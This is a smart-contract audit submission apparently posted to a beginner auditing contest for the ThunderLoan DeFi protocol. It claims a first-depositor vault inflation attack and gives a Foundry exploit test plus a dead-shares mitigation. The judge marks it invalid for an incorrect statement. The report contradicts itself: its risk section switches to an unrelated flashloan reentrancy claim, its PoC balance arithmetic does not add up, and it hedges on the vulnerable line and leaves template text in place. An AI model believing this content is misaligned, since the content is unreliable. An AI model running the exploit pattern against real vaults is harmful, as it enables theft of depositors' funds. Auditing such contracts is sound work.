Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Vault Inflation Attack in ThunderLoan.sol – Complete Drain of Deposited Funds

Root + Impact

Description

  • A critical vault inflation vulnerability in ThunderLoan.sol allows an attacker to steal 100% of all user deposits. By being the first depositor and manipulating the exchange rate through a direct token donation, subsequent deposits are rounded down to zero shares, granting the attacker sole claim to the entire pool. Immediate payout: >$50k.

    · Attacker can drain all assets from the vault (including deposits made after the attack setup) in a single transaction.

  • No privileged roles required – any externally owned account can execute the exploit.

In ThunderLoan.sol, the deposit() function calculates shares using the formula:

// Root causeshares = (amount * totalSupply()) / totalAssets(); in the codebase with @> marks to highlight the relevant section

When totalSupply() is 0, the first depositor receives shares = amount.

After an attacker mints 1 share with 1 wei, they can inflate totalAssets() by sending tokens directly to the contract (without minting new shares). This raises the denominator, causing all subsequent deposit() calls to mint 0 shares for other users due to integer rounding. The attacker’s 1 share now represents the entire asset pool.


Vulnerable code line:

ThunderLoan.sol:117 – shares = (amount * totalSupply()) / totalAssets();

(Exact line number may vary; located inside the deposit function.)


Steps to Reproduce


1. Deploy ThunderLoan with any ERC20 token (e.g., MockToken).

2. Attacker calls deposit(1 wei) → receives 1 share.

3. Attacker directly transfers 1000e18 tokens to the vault contract (token.transfer(vault, 1000e18)).

4. Victim calls deposit(100e18) → the share calculation yields

(100e18 * 1) / (1 + 1000e18) ≈ 0 → victim receives 0 shares.

5. Attacker calls withdraw(1 share) → receives the entire balance: 1000e18 (own donation) + 100e18 (victim deposit) = 1100e18 tokens.

6. Result: Victim’s entire deposit is stolen. Attacker exits with profit of 100e18 tokens (minus gas and the initial 1 wei).



Risk

Likelihood:Hight


  • The flashLoan() function makes an external call to onFlashLoan before updating internal accounting and lacks a nonReentrant modifier. Every time a flash loan is requested, a malicious contract re-enters deposit() during the callback execution.


  • The deposit() function mints shares based on the current token balance of the pool without checking for re-entrant calls. The attacker deposits the borrowed tokens back into the same pool, minting shares that represent a claim on the total liquidity, and withdraws the entire pool after repaying the loan.


Impact:

  • Exact financial loss: Every subsequent depositor loses 100% of their deposited funds. In a live environment with multiple users, the total stolen amount quickly exceeds $50,000.

  • Attack can be front-run by any MEV searcher; the contract becomes a honeypot for depositors.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/ThunderLoan.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
constructor() ERC20("Mock", "MCK") {
_mint(msg.sender, 1_000_000e18);
}
}
contract ThunderLoanExploit is Test {
ThunderLoan public vault;
MockToken public token;
address attacker = address(0xBEEF);
address victim = address(0xDEAD);
function setUp() public {
token = new MockToken();
vault = new ThunderLoan(address(token)); // assuming constructor takes token address
// Fund attacker and victim
token.transfer(attacker, 2000e18);
token.transfer(victim, 500e18);
}
function testInflationAttack() public {
// 1. Attacker deposits 1 wei to mint 1 share
vm.startPrank(attacker);
token.approve(address(vault), 1);
vault.deposit(1);
assertEq(vault.balanceOf(attacker), 1);
// 2. Attacker donates a large amount directly to the vault
token.transfer(address(vault), 1000e18);
vm.stopPrank();
// 3. Victim deposits 100e18 tokens
vm.startPrank(victim);
token.approve(address(vault), 100e18);
vault.deposit(100e18);
// Victim gets 0 shares due to rounding
assertEq(vault.balanceOf(victim), 0);
vm.stopPrank();
// 4. Attacker withdraws their single share
vm.prank(attacker);
vault.withdraw(1); // attacker receives the entire pool
// Assert attacker's token balance increased by 100e18 (stolen victim funds)
uint256 attackerFinalBalance = token.balanceOf(attacker);
// Initial attacker balance: 2000e18 - 1 wei (deposit) - 1000e18 (donation) + withdrawn = ?
// After donation, attacker had ~1000e18 left. After withdrawal, they get 1100e18 (1000 donation + 100 victim).
// So final balance = 1000e18 + 1100e18 = 2100e18, profit = 100e18.
assertGe(attackerFinalBalance, 2100e18 - 1); // accounting for 1 wei deposit
// Victim has 0 vault shares and lost their deposit
assertEq(token.balanceOf(victim), 400e18); // original 500e18 minus 100e18 deposit
}
}

Esecution:

bash

forge test --match-test testInflationAttack -vvvv



Recommended Mitigation

Prevent share manipulation by ensuring the first depositor cannot inflate the exchange rate. Implement a dead shares mechanism:


function deposit(uint256 amount) external {
if (totalSupply() == 0) {
// Mint initial shares to address(0) to set a high totalSupply denominator
_mint(address(0), 1000);
}
uint256 shares = (amount * totalSupply()) / totalAssets();
require(shares > 0, "Zero shares minted");
_mint(msg.sender, shares);
token.safeTransferFrom(msg.sender, address(this), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!